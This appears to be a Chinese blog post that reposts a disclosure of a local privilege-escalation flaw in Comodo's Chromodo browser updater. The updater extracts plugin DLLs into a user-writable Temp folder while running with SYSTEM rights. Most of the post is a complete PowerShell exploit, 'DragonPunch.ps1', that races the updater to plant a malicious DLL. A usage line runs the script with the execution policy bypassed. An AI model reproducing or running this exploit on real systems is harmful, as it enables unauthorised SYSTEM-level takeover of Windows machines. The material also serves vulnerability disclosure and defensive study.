AD

The LPE of Chromodo

0x01概述


Chromodo是comodo的内置浏览器,可以通过自动升级或者用户在Chromodo的“About Chromodo”选项进行手动升级。Chromodo在更新时安全措施不足,导致可以一些文件可以被劫持,从而让本地用户获取system权限。

0x02问题分析


Chromodo更新程序会将文件下载并保存至一个不安全的目录:C:\Users\<USER>\AppData\Local\Temp\NSX###.TMP,其中###为一个随机的数字,X是一个随机的字符。任意本地用户对这个目录均有写入权限。


       Chromodo更新是通过一个系统级的服务进行初始化和检查,该服务为:C:\Program Files (x86)\Comodo\Chromodo\chromodo_updater.exe,这个服务通过注册表实现在开机启动:HKLM\System\CurrentControlSet\Services\ChromodoUpdater。

更新程序首先确定是否存在一个可用的更新,如果存在可用的更新,则会下载并以chromodo_setup.exe的文件名保存至C:\Windows\Temp\ 目录下。然后更新程序使用系统级别的权限执行后续CMD命令安装Chromodo浏览器更新:“C:\Windows\temp\chromodo_setup.exe --silent”。然而,其他组件的更新及这个文件均指向“C:\Users\User\AppData\Local\Temp\nsX###.tmp”目录。

在Chromodo浏览器更新时,“Chromodo_Setup.exe”会创建nsX###.tmp目录,并且将文件从“\Windows\Temp\”提取至该文件夹。

在执行以上操作时,以下DLL文件会被提取至不安全的用户目录,导致可以被劫持进行攻击:

  • System.dll

  • DragonPlugin.dll

  • SecureDNSPlugin.dll

  • InstallHelperPlugin.dll

  • AccessControlW.dll

  • NsJSON.dll


0x03漏洞测试


一个本地低权限用户可以创建一个恶意程序,监视对“C:\Users\User\AppData\Local\Temp\”目录的任何操作。单Chromodo触发一个更新时,这个恶意程序会在合法的DLL文件被拷贝之前释放一个特殊构造的恶意DLL文件。然后这个恶意的DLL文件会以SYSTEM权限被注入到Chromodo_Update.exe中,然而需要注意,为了达到隐蔽的攻击目的,不让Chromodo的更新报错,在获取到SYSTEM权限后,攻击者需要及时创建一个新的进程,写入一个新的程序/文件使正常的DLL文件可以被调用。

0x04POC


DragonPunch.ps1 POWERSHELL脚本将监控用户的AppData Local Temp目录,但发现该目录下有新的文件或者目录创建时,PS脚本会默认释放一个名称为"DragonPlugin.dll"的DLL文件至该目录。

运行Comodo CIS中的Chromodo,攻击者可以直接在浏览器中的"About Chromodo"中检查更新,然后触发进行本地提权。

PS脚本代码如下:







#>

 

Param

(

 

[Parameter(ValueFromPipelineByPropertyName = $true)]

[string]$DLL = ""

)

 

$Target = "DragonPlugin.dll"

<#

ALSO VULNERABLE:

- System.dll

- SecureDNSPlugin.dll

- InstallHelperPlugin.dll

- AccessControlW.dll

- NsJSON.dll

#>

 

$Interval = 1500

# Change the interval here if exploit race-condition is not being defeated

# (Win 7 x64 VM w/ 8GB RAM tested @ 1500ms)

# System.dll is usually the first written and needs approx 500ms or less

 

 

if (!(Test-Path $DLL))

{

throw "Error: $DLL does not exist."

}

 

$Path="$Env:USERPROFILE\AppData\Local\Temp\"

 

if (!(Test-Path $Path))

{

throw "Error: $Path does not exist."

}

 

[void][System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")

 

$objNotifyIcon = New-Object System.Windows.Forms.NotifyIcon

 

$MyPath = Get-Process -id $pid | Select-Object -ExpandProperty Path

$objNotifyIcon.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($MyPath)

$objNotifyIcon.BalloonTipIcon = "Info"

$objNotifyIcon.BalloonTipText = "Monitoring the Folder: $Path to drop: $Target"

$objNotifyIcon.BalloonTipTitle = "Dragon Punch Exploit by @Laughing_Mantis"

 

$objNotifyIcon.Visible = $True

$objNotifyIcon.ShowBalloonTip(8000)

 

 

 

$GetFileList = {Get-ChildItem  -LiteralPath $Path -Filter * -Recurse -Force}

 

Write-Host "Getting initial list of files at $Path" -ForegroundColor Green

$OldFileList = @(. $GetFileList)

do

{

$NewFileSet = @(. $GetFileList)

Compare-Object -ReferenceObject $OldFileList -DifferenceObject $NewFileSet -Property Name, CreationTime -PassThru |

Where-Object { $_.SideIndicator -eq '=>' } |

ForEach-Object {

if (Test-Path $_.FullName -PathType Container)

{

$Victim = $_.FullName + "\"

Write-Host "Detected new folder: $Victim" -ForegroundColor Red

Copy-Item $DLL $($Victim + "\" + $Target) -Force

Write-Host "Dropped $Target @ $Victim" -ForegroundColor Red

}

else

{

$Victim = Split-Path $_.FullName -Leaf

if (!($Victim.Equals($Target)))

{

$Victim = Split-Path $_.FullName -Parent

Write-Host "Detected new file: $($_.FullName)" -ForegroundColor Red

Copy-Item $DLL $($Victim + "\" + $Target) -Force

Write-Host "Dropped $Target @ $Victim" -ForegroundColor Red

}

}

}

 

$OldFileList = $NewFileSet

Start-Sleep -MilliSeconds $Interval

}

while($true)


 

0x05Usage


Powershell -ExecutionPolicy Bypass -File DragonPunch.ps1 -DLL C:\Exploitz\DLLHijacker.dll

-File参数为使用DragonPlugin.dll劫持替换的攻击者构造的恶意文件。

 

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

多种方法绕过POWERSHELL的执行策略